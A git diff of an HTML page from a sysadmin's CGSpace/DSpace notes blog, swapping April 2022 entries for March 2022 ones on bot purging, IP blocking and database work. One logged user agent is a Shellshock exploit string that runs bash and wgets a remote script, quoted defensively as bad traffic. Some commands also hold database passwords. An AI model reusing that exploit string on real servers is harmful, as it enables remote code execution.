                                                                                                                                                        9. diff --git a/docs/2022-03/index.html b/docs/2022-03/index.html index 68cc24803..4e3d954ba 100644 --- a/docs/2022-03/index.html +++ b/docs/2022-03/index.html @@ -6,19 +6,35 @@ - - + + - - + + - - - + + + @@ -26,11 +42,11 @@ { "@context": "http://schema.org", "@type": "BlogPosting", - "headline": "April, 2022", + "headline": "March, 2022", "url": "https://alanorth.github.io/cgspace-notes/2022-03/", - "wordCount": "1261", - "datePublished": "2022-03-01T10:53:39+03:00", - "dateModified": "2022-04-24T21:06:28+03:00", + "wordCount": "1836", + "datePublished": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-04T19:15:58+03:00", "author": { "@type": "Person", "name": "Alan Orth" @@ -43,7 +59,7 @@ - April, 2022 | CGSpace Notes + March, 2022 | CGSpace Notes @@ -95,236 +111,352 @@
                                                                                                                                                          -

                                                                                                                                                          April, 2022

                                                                                                                                                          +

                                                                                                                                                          March, 2022

                                                                                                                                                          -

                                                                                                                                                          2022-04-01

                                                                                                                                                          +

                                                                                                                                                          2022-03-01

                                                                                                                                                            -
                                                                                                                                                          • I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday +
                                                                                                                                                          • Send Gaia the last batch of potential duplicates for items 701 to 980:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
                                                                                                                                                          +$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
                                                                                                                                                          +$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
                                                                                                                                                          +$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
                                                                                                                                                          +

                                                                                                                                                          2022-03-04

                                                                                                                                                            -
                                                                                                                                                          • The Discovery indexing took this long:
                                                                                                                                                          • +
                                                                                                                                                          • Looking over the CGSpace Solr statistics from 2022-02 +
                                                                                                                                                              +
                                                                                                                                                            • I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!
                                                                                                                                                            • +
                                                                                                                                                            • Here are some of the more prevalent or weird ones: +
                                                                                                                                                                +
                                                                                                                                                              • axios/0.21.1
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)
                                                                                                                                                              • +
                                                                                                                                                              • Nutraspace/Nutch-1.2 (www.nutraspace.com)
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)
                                                                                                                                                              • +
                                                                                                                                                              • Crowsnest/0.5 (+http://www.crowsnest.tv/)
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com
                                                                                                                                                              • +
                                                                                                                                                              • metha/0.2.27
                                                                                                                                                              • +
                                                                                                                                                              • ZaloPC-win32-24v454
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x
                                                                                                                                                              • +
                                                                                                                                                              • ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)
                                                                                                                                                              • +
                                                                                                                                                              • FullStoryBot/1.0 (+https://www.fullstory.com)
                                                                                                                                                              • +
                                                                                                                                                              • Link Validity Check From: http://www.usgs.gov
                                                                                                                                                              • +
                                                                                                                                                              • OSPScraper (+https://www.opensyllabusproject.org)
                                                                                                                                                              • +
                                                                                                                                                              • () { :;}; /bin/bash -c "wget -O /tmp/bbb www.redel.net.br/1.php?id=3137382e37392e3138372e313832"
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • I submitted a pull request to COUNTER-Robots with some of these
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                          • +
                                                                                                                                                          • I purged a bunch of hits from the stats using the check-spider-hits.sh script:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          ]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
                                                                                                                                                          +Purging 6 hits from scalaj-http in statistics
                                                                                                                                                          +Purging 5 hits from lua-resty-http in statistics
                                                                                                                                                          +Purging 9 hits from AHC in statistics
                                                                                                                                                          +Purging 7 hits from acebookexternalhit in statistics
                                                                                                                                                          +Purging 1011 hits from axios\/[0-9] in statistics
                                                                                                                                                          +Purging 2216 hits from Faveeo\/[0-9] in statistics
                                                                                                                                                          +Purging 1164 hits from Moreover\/[0-9] in statistics
                                                                                                                                                          +Purging 740 hits from Exploratodo\/[0-9] in statistics
                                                                                                                                                          +Purging 585 hits from GroupHigh\/[0-9] in statistics
                                                                                                                                                          +Purging 438 hits from Crowsnest\/[0-9] in statistics
                                                                                                                                                          +Purging 1326 hits from nbertaupete95 in statistics
                                                                                                                                                          +Purging 182 hits from metha\/[0-9] in statistics
                                                                                                                                                          +Purging 68 hits from ZaloPC-win32-24v454 in statistics
                                                                                                                                                          +Purging 1644 hits from Firefox\/x\.x in statistics
                                                                                                                                                          +Purging 678 hits from ZoteroTranslationServer in statistics
                                                                                                                                                          +Purging 27 hits from FullStoryBot in statistics
                                                                                                                                                          +Purging 26 hits from Link Validity Check in statistics
                                                                                                                                                          +Purging 26 hits from OSPScraper in statistics
                                                                                                                                                          +Purging 1 hits from 3137382e37392e3138372e313832 in statistics
                                                                                                                                                          +Purging 2755 hits from Nutch-[0-9] in statistics
                                                                                                                                                          +
                                                                                                                                                          +Total number of bot hits purged: 12914
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project
                                                                                                                                                          • +
                                                                                                                                                          +

                                                                                                                                                          2022-03-05

                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • Start AReS harvest
                                                                                                                                                          • +
                                                                                                                                                          +

                                                                                                                                                          2022-03-10

                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet) +
                                                                                                                                                              +
                                                                                                                                                            • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
                                                                                                                                                          -
                                                                                                                                                          real    334m33.625s
                                                                                                                                                          -user    227m51.331s
                                                                                                                                                          -sys     3m43.037s
                                                                                                                                                          -

                                                                                                                                                          2022-04-04

                                                                                                                                                          +
                                                                                                                                                          or(
                                                                                                                                                          +isNotNull(value.match('707')),
                                                                                                                                                          +isNotNull(value.match('709')),
                                                                                                                                                          +isNotNull(value.match('710')),
                                                                                                                                                          +isNotNull(value.match('711')),
                                                                                                                                                          +isNotNull(value.match('713')),
                                                                                                                                                          +isNotNull(value.match('717')),
                                                                                                                                                          +isNotNull(value.match('718')),
                                                                                                                                                          +...
                                                                                                                                                          +isNotNull(value.match('821'))
                                                                                                                                                          +)
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-10-tac-batch4-701to980.map
                                                                                                                                                          +

                                                                                                                                                          2022-03-12

                                                                                                                                                            +
                                                                                                                                                          • Update all containers and rebuild OpenRXV on linode20:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
                                                                                                                                                          +$ docker-compose build
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • Then run all system updates and reboot
                                                                                                                                                          • Start a full harvest on AReS
                                                                                                                                                          • -
                                                                                                                                                          • Help Marianne with submit/approve access on a new collection on CGSpace
                                                                                                                                                          • -
                                                                                                                                                          • Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc)
                                                                                                                                                          • -
                                                                                                                                                          • Looking at the Solr statistics for 2022-03 on CGSpace +
                                                                                                                                                          +

                                                                                                                                                          2022-03-16

                                                                                                                                                            -
                                                                                                                                                          • I see 54.229.218.204 on Amazon AWS made 49,000 requests, some of which with this user agent: Apache-HttpClient/4.5.9 (Java/1.8.0_322), and many others with a normal browser agent, so that’s fishy!
                                                                                                                                                          • -
                                                                                                                                                          • The DSpace agent pattern http.?agent seems to have caught the first ones, but I’ll purge the IP ones
                                                                                                                                                          • -
                                                                                                                                                          • I see 40.77.167.80 is Bing or MSN Bot, but using a normal browser user agent, and if I search Solr for dns:*msnbot* AND dns:*.msn.com. I see over 100,000, which is a problem I noticed a few months ago too…
                                                                                                                                                          • -
                                                                                                                                                          • I extracted the MSN Bot IPs from Solr using an IP facet, then used the check-spider-ip-hits.sh script to purge them
                                                                                                                                                          • +
                                                                                                                                                          • Meeting with KM/KS group to start talking about the way forward for repositories and web publishing +
                                                                                                                                                              +
                                                                                                                                                            • We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing
                                                                                                                                                          -

                                                                                                                                                          2022-04-10

                                                                                                                                                          +

                                                                                                                                                          2022-03-20

                                                                                                                                                          • Start a full harvest on AReS
                                                                                                                                                          -

                                                                                                                                                          2022-04-13

                                                                                                                                                          +

                                                                                                                                                          2022-03-21

                                                                                                                                                            -
                                                                                                                                                          • UptimeRobot mailed to say that CGSpace was down +
                                                                                                                                                          • Review a few submissions for Open Repositories 2022
                                                                                                                                                          • +
                                                                                                                                                          • Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed
                                                                                                                                                          • +
                                                                                                                                                          +

                                                                                                                                                          2022-03-22

                                                                                                                                                            -
                                                                                                                                                          • I looked and found the load at 44…
                                                                                                                                                          • +
                                                                                                                                                          • I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there +
                                                                                                                                                              +
                                                                                                                                                            • I had been meaning to update my local database…
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                          • +
                                                                                                                                                          • I re-imported the CGIAR CAS documents to DSpace Test and generated the PDF thumbnails:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-22-tac-700.map
                                                                                                                                                          +$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -i 10568/118432
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • On my local environment I decided to run the check-duplicates.py script one more time with all 700 items:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv > /tmp/tac.csv
                                                                                                                                                          +$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p 'dom@in34sniper' -o /tmp/2022-03-22-tac-duplicates.csv
                                                                                                                                                          +$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv > /tmp/tac-filenames.csv
                                                                                                                                                          +$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv > /tmp/tac-final-duplicates.csv
                                                                                                                                                          +
                                                                                                                                                            +
                                                                                                                                                          • I sent the resulting 76 items to Gaia to check
                                                                                                                                                          • +
                                                                                                                                                          • UptimeRobot said that CGSpace was down +
                                                                                                                                                              +
                                                                                                                                                            • I looked and found many locks belonging to the REST API application:
                                                                                                                                                          • -
                                                                                                                                                          • There seem to be a lot of locks from the XMLUI:
                                                                                                                                                          $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
                                                                                                                                                          -   3173 dspaceWeb
                                                                                                                                                          +    301 dspaceWeb
                                                                                                                                                          +   2390 dspaceApi
                                                                                                                                                           
                                                                                                                                                            -
                                                                                                                                                          • Looking at the top IPs in nginx’s access log one IP in particular stands out:
                                                                                                                                                          • +
                                                                                                                                                          • Looking at nginx’s logs, I found the top addresses making requests today:
                                                                                                                                                          -
                                                                                                                                                              941 66.249.66.222
                                                                                                                                                          -   1224 95.108.213.28
                                                                                                                                                          -   2074 157.90.209.76
                                                                                                                                                          -   3064 66.249.66.221
                                                                                                                                                          -  95743 185.192.69.15
                                                                                                                                                          +
                                                                                                                                                          # awk '{print $1}' /var/log/nginx/rest.log | sort | uniq -c | sort -h
                                                                                                                                                          +   1977 45.5.184.2
                                                                                                                                                          +   3167 70.32.90.172
                                                                                                                                                          +   4754 54.195.118.125
                                                                                                                                                          +   5411 205.186.128.185
                                                                                                                                                          +   6826 137.184.159.211
                                                                                                                                                           
                                                                                                                                                            -
                                                                                                                                                          • 185.192.69.15 is in the UK
                                                                                                                                                          • -
                                                                                                                                                          • I added a block for that IP in nginx and the load went down…
                                                                                                                                                          • +
                                                                                                                                                          • 137.184.159.211 is on DigitalOcean using this user agent: GuzzleHttp/6.3.3 curl/7.81.0 PHP/7.4.28 +
                                                                                                                                                              +
                                                                                                                                                            • I blocked this IP in nginx and the load went down immediately
                                                                                                                                                            -

                                                                                                                                                            2022-04-16

                                                                                                                                                            +
                                                                                                                                                          • +
                                                                                                                                                          • 205.186.128.185 is on Media Temple, but it’s OK because it’s the CCAFS publications importer bot
                                                                                                                                                          • +
                                                                                                                                                          • 54.195.118.125 is on Amazon, but is also a CCAFS publications importer bot apparently (perhaps a test server)
                                                                                                                                                          • +
                                                                                                                                                          • 70.32.90.172 is on Media Temple and has no user agent
                                                                                                                                                          • +
                                                                                                                                                          • What is surprising to me is that we already have an nginx rule to return HTTP 403 for requests without a user agent
                                                                                                                                                              -
                                                                                                                                                            • Start harvest on AReS
                                                                                                                                                            • -
                                                                                                                                                            -

                                                                                                                                                            2022-04-18

                                                                                                                                                            -
                                                                                                                                                              -
                                                                                                                                                            • I woke up to several notices from UptimeRobot that CGSpace had gone down and up in the night (of course I’m on holiday out of the country for Easter) -
                                                                                                                                                                -
                                                                                                                                                              • I see there are many locks in use from the XMLUI:
                                                                                                                                                              • +
                                                                                                                                                              • I verified it works as expected with an empty user agent:
                                                                                                                                                            -
                                                                                                                                                            $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
                                                                                                                                                            -   8932 dspaceWeb
                                                                                                                                                            +
                                                                                                                                                            $ curl -H User-Agent:'' 'https://dspacetest.cgiar.org/rest/handle/10568/34799?expand=all' 
                                                                                                                                                            +Due to abuse we no longer permit requests without a user agent. Please specify a descriptive user agent, for example containing the word 'bot', if you are accessing the site programmatically. For more information see here: https://dspacetest.cgiar.org/page/about.
                                                                                                                                                             
                                                                                                                                                              -
                                                                                                                                                            • Looking at the top IPs making requests it seems they are Yandex, bingbot, and Googlebot:
                                                                                                                                                            • +
                                                                                                                                                            • I note that the nginx log shows ‘-’ for a request with an empty user agent, which would be indistinguishable from a request with a ‘-’, for example these were successful:
                                                                                                                                                            -
                                                                                                                                                            # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                            -    752 69.162.124.231
                                                                                                                                                            -    759 66.249.64.213
                                                                                                                                                            -    864 66.249.66.222
                                                                                                                                                            -    905 2a01:4f8:221:f::2
                                                                                                                                                            -   1013 84.33.2.97
                                                                                                                                                            -   1201 157.55.39.159
                                                                                                                                                            -   1204 157.55.39.144
                                                                                                                                                            -   1209 157.55.39.102
                                                                                                                                                            -   1217 157.55.39.161
                                                                                                                                                            -   1252 207.46.13.177
                                                                                                                                                            -   1274 157.55.39.162
                                                                                                                                                            -   2553 66.249.66.221
                                                                                                                                                            -   2941 95.108.213.28
                                                                                                                                                            +
                                                                                                                                                            70.32.90.172 - - [22/Mar/2022:11:59:10 +0100] "GET /rest/handle/10568/34374?expand=all HTTP/1.0" 200 10671 "-" "-"
                                                                                                                                                            +70.32.90.172 - - [22/Mar/2022:11:59:14 +0100] "GET /rest/handle/10568/34795?expand=all HTTP/1.0" 200 11394 "-" "-"
                                                                                                                                                             
                                                                                                                                                              -
                                                                                                                                                            • One IP is using a stange user agent though:
                                                                                                                                                            • +
                                                                                                                                                            • I can only assume that these requests used a literal ‘-’ so I will have to add an nginx rule to block those too
                                                                                                                                                            • +
                                                                                                                                                            • Otherwise, I see from my notes that 70.32.90.172 is the wle.cgiar.org REST API harvester… I should ask Macaroni Bros about that
                                                                                                                                                            -
                                                                                                                                                            84.33.2.97 - - [18/Apr/2022:00:20:38 +0200] "GET /bitstream/handle/10568/109581/Banana_Blomme%20_2020.pdf.jpg HTTP/1.1" 404 10890 "-" "SomeRandomText"
                                                                                                                                                            -
                                                                                                                                                              -
                                                                                                                                                            • Overall, it seems we had 17,000 unique IPs connecting in the last nine hours (currently 9:14AM and log file rolled over at 00:00):
                                                                                                                                                            • -
                                                                                                                                                            -
                                                                                                                                                            # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
                                                                                                                                                            -17314
                                                                                                                                                            -
                                                                                                                                                              -
                                                                                                                                                            • That’s a lot of unique IPs, and I see some patterns of IPs in China making ten to twenty requests each +

                                                                                                                                                              2022-03-24

                                                                                                                                                                -
                                                                                                                                                              • The ISPs I’ve seen so far are ChinaNet and China Unicom
                                                                                                                                                              • +
                                                                                                                                                              • Maria from ABC asked about a reporting discrepancy on AReS +
                                                                                                                                                                  +
                                                                                                                                                                • I think it’s because the last harvest was over the weekend, and she was expecting to see items submitted this week
                                                                                                                                                              • -
                                                                                                                                                              • I extracted all the IPs from today and resolved them:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq > /tmp/2022-04-18-ips.txt
                                                                                                                                                              -$ ./ilri/resolve-addresses-geoip2.py -i /tmp/2022-04-18-ips.txt -o /tmp/2022-04-18-ips.csv
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • The top ASNs by IP are:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ csvcut -c 2 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10 
                                                                                                                                                              -    102 GOOGLE
                                                                                                                                                              -    139 Maxihost LTDA
                                                                                                                                                              -    165 AMAZON-02
                                                                                                                                                              -    393 "China Mobile Communications Group Co., Ltd."
                                                                                                                                                              -    473 AMAZON-AES
                                                                                                                                                              -    616 China Mobile communications corporation
                                                                                                                                                              -    642 M247 Ltd
                                                                                                                                                              -   2336 HostRoyale Technologies Pvt Ltd
                                                                                                                                                              -   4556 Chinanet
                                                                                                                                                              -   5527 CHINA UNICOM China169 Backbone
                                                                                                                                                              -$ csvcut -c 4 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10
                                                                                                                                                              -    139 262287
                                                                                                                                                              -    165 16509
                                                                                                                                                              -    180 204287
                                                                                                                                                              -    393 9808
                                                                                                                                                              -    473 14618
                                                                                                                                                              -    615 56041
                                                                                                                                                              -    642 9009
                                                                                                                                                              -   2156 203020
                                                                                                                                                              -   4556 4134
                                                                                                                                                              -   5527 4837
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I spot checked a few IPs from each of these and they are definitely just making bullshit requests to Discovery and HTML sitemap etc
                                                                                                                                                              • -
                                                                                                                                                              • I will download the IP blocks for each ASN except Google and Amazon and ban them
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ wget https://asn.ipinfo.app/api/text/nginx/AS4837 https://asn.ipinfo.app/api/text/nginx/AS4134 https://asn.ipinfo.app/api/text/nginx/AS203020 https://asn.ipinfo.app/api/text/nginx/AS9009 https://asn.ipinfo.app/api/text/nginx/AS56041 https://asn.ipinfo.app/api/text/nginx/AS9808
                                                                                                                                                              -$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | sort | uniq | wc -l
                                                                                                                                                              -20296
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I extracted the IPv4 and IPv6 networks:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep ":" | sort > /tmp/ipv6-networks.txt
                                                                                                                                                              -$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep -v ":" | sort > /tmp/ipv4-networks.txt
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I suspect we need to aggregate these networks since they are so many and nftables doesn’t like it when they overlap:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ wc -l /tmp/ipv4-networks.txt
                                                                                                                                                              -15464 /tmp/ipv4-networks.txt
                                                                                                                                                              -$ aggregate6 /tmp/ipv4-networks.txt | wc -l
                                                                                                                                                              -2781
                                                                                                                                                              -$ wc -l /tmp/ipv6-networks.txt             
                                                                                                                                                              -4833 /tmp/ipv6-networks.txt
                                                                                                                                                              -$ aggregate6 /tmp/ipv6-networks.txt | wc -l
                                                                                                                                                              -338
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • I deployed these lists on CGSpace, ran all updates, and rebooted the server +
                                                                                                                                                              • Paola from ABC said they are decomissioning the server where many of their library PDFs are hosted
                                                                                                                                                                  -
                                                                                                                                                                • This list is SURELY too broad because we will block legitimate users in China… but right now how can I discern?
                                                                                                                                                                • -
                                                                                                                                                                • Also, I need to purge the hits from these 14,000 IPs in Solr when I get time
                                                                                                                                                                • +
                                                                                                                                                                • She asked if we can download them and upload them directly to CGSpace
                                                                                                                                                              • -
                                                                                                                                                              • Looking back at the Munin graphs a few hours later I see this was indeed some kind of spike that was out of the ordinary:
                                                                                                                                                              • -
                                                                                                                                                              -

                                                                                                                                                              PostgreSQL connections day -DSpace sessions day

                                                                                                                                                              +
                                                                                                                                                            • I re-created my local Artifactory container
                                                                                                                                                            • +
                                                                                                                                                            • I am doing a walkthrough of DSpace 7.3-SNAPSHOT to see how things are lately
                                                                                                                                                                -
                                                                                                                                                              • I used grepcidr with the aggregated network lists to extract IPs matching those networks from the nginx logs for the past day:
                                                                                                                                                              • +
                                                                                                                                                              • One thing I realized is that OAI is no longer a standalone web application, it is part of the server app now: http://localhost:8080/server/oai/request?verb=Identify
                                                                                                                                                              -
                                                                                                                                                              # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort -u > /tmp/ips.log
                                                                                                                                                              -# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv4-ips.txt; done < /tmp/ipv4-networks-aggregated.txt
                                                                                                                                                              -# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv6-ips.txt; done < /tmp/ipv6-networks-aggregated.txt
                                                                                                                                                              -# wc -l /tmp/ipv4-ips.txt  
                                                                                                                                                              -15313 /tmp/ipv4-ips.txt
                                                                                                                                                              -# wc -l /tmp/ipv6-ips.txt 
                                                                                                                                                              -19 /tmp/ipv6-ips.txt
                                                                                                                                                              -
                                                                                                                                                                -
                                                                                                                                                              • Then I purged them from Solr using the check-spider-ip-hits.sh:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                              $ ./ilri/check-spider-ip-hits.sh -f /tmp/ipv4-ips.txt -p
                                                                                                                                                              -

                                                                                                                                                              2022-04-23

                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • Deploy PostgreSQL 12 on CGSpace (linode18) but don’t switch over yet, because I see some users active
                                                                                                                                                                -
                                                                                                                                                              • A handful of spider user agents that I identified were merged into COUNTER-Robots so I updated the ILRI override in our DSpace and regenerated the example file that contains most patterns -
                                                                                                                                                                  -
                                                                                                                                                                • I updated CGSpace, then ran all system updates and rebooted the host
                                                                                                                                                                • -
                                                                                                                                                                • I also ran dspace cleanup -v to prune the database
                                                                                                                                                                • +
                                                                                                                                                                • I did this on DSpace Test in 2022-02 so I just followed the same procedure
                                                                                                                                                                • +
                                                                                                                                                                • After that I ran all system updates and rebooted the server
                                                                                                                                                              -

                                                                                                                                                              2022-04-24

                                                                                                                                                              +

                                                                                                                                                              2022-03-25

                                                                                                                                                                +
                                                                                                                                                              • Looking at the PostgreSQL database size on CGSpace after the update yesterday:
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              PostgreSQL database size day

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • The space saving in indexes of recent PostgreSQL releases is awesome!
                                                                                                                                                              • +
                                                                                                                                                              • Import a DSpace 6.x database dump from production into my local DSpace 7 database +
                                                                                                                                                                  +
                                                                                                                                                                • I see I still the same errors I saw in 2021-04 when testing DSpace 7.0 beta 5
                                                                                                                                                                • +
                                                                                                                                                                • I had to delete some old migrations, as well as all Atmire ones first:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              localhost/dspace7= ☘ DELETE FROM schema_version WHERE version IN ('5.0.2017.09.25', '6.0.2017.01.30', '6.0.2017.09.25');
                                                                                                                                                              +localhost/dspace7= ☘ DELETE FROM schema_version WHERE description LIKE '%Atmire%' OR description LIKE '%CUA%' OR description LIKE '%cua%'
                                                                                                                                                              +
                                                                                                                                                              -

                                                                                                                                                              2022-04-25

                                                                                                                                                              +

                                                                                                                                                              2022-03-26

                                                                                                                                                                -
                                                                                                                                                              • Looking at the countries on AReS I decided to collect a list to remind Jacquie at WorldFish again about how many incorrect ones they have +
                                                                                                                                                              • Update dspace-statistics-api to Falcon 3.1.0 and release v1.4.3
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-03-28

                                                                                                                                                                -
                                                                                                                                                              • There are about sixty incorrect ones, some of which I can correct via the value mappings on AReS, but most I can’t
                                                                                                                                                              • -
                                                                                                                                                              • I set up value mappings for seventeen countries, then sent another sixty or so to Jacquie and Salem to hopefully delete
                                                                                                                                                              • +
                                                                                                                                                              • Create another test account for Rafael from Bioversity-CIAT to submit some items to DSpace Test:
                                                                                                                                                              -
                                                                                                                                                            • -
                                                                                                                                                            • I notice we have over 1,000 items with region Africa South of Sahara -
                                                                                                                                                                -
                                                                                                                                                              • I am surprised to see these because we did a mass migration to Sub-Saharan Africa in 2020-10 when we aligned to UN M.49
                                                                                                                                                              • -
                                                                                                                                                              • Oh! It seems I used a capital O in Of!
                                                                                                                                                              • -
                                                                                                                                                              • This is curious, I see we missed East Asia and Northern America, because those are still in our list, but UN M.49 uses Eastern Asia and Northern America… I will have to raise that with Peter and Abenet later
                                                                                                                                                              • -
                                                                                                                                                              • For now I will just re-run my fixes:
                                                                                                                                                              • -
                                                                                                                                                              -
                                                                                                                                                            • -
                                                                                                                                                            -
                                                                                                                                                            $ cat /tmp/regions.csv
                                                                                                                                                            -cg.coverage.region,correct
                                                                                                                                                            -East Africa,Eastern Africa
                                                                                                                                                            -West Africa,Western Africa
                                                                                                                                                            -Southeast Asia,South-eastern Asia
                                                                                                                                                            -South Asia,Southern Asia
                                                                                                                                                            -Africa South of Sahara,Sub-Saharan Africa
                                                                                                                                                            -North Africa,Northern Africa
                                                                                                                                                            -West Asia,Western Asia
                                                                                                                                                            -$ ./ilri/fix-metadata-values.py -i /tmp/regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 227 -t correct
                                                                                                                                                            +
                                                                                                                                                            $ dspace user -a -m tip-submit@cgiar.org -g CIAT -s Submit -p 'fuuuuuuuu'
                                                                                                                                                             
                                                                                                                                                              -
                                                                                                                                                            • Then I started a new harvest on AReS
                                                                                                                                                            • +
                                                                                                                                                            • I added the account to the Alliance Admins account, which is should allow him to submit to any Alliance collection +
                                                                                                                                                                +
                                                                                                                                                              • According to my notes from 2020-10 the account must be in the admin group in order to submit via the REST API
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • Abenet and I noticed 1,735 items in CTA’s community that have the title “delete” +
                                                                                                                                                                +
                                                                                                                                                              • We asked Peter and he said we should delete them
                                                                                                                                                              • +
                                                                                                                                                              • I exported the CTA community metadata and used OpenRefine to filter all items with the “delete” title, then used the “expunge” bulkedit action to remove them
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • I realized I forgot to clean up the old Let’s Encrypt certbot stuff after upgrading CGSpace (linode18) to Ubuntu 20.04 a few weeks ago +
                                                                                                                                                                +
                                                                                                                                                              • I also removed the pre-Ubuntu 20.04 Let’s Encrypt stuff from the Ansble infrastructure playbooks
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +

                                                                                                                                                            2022-03-29

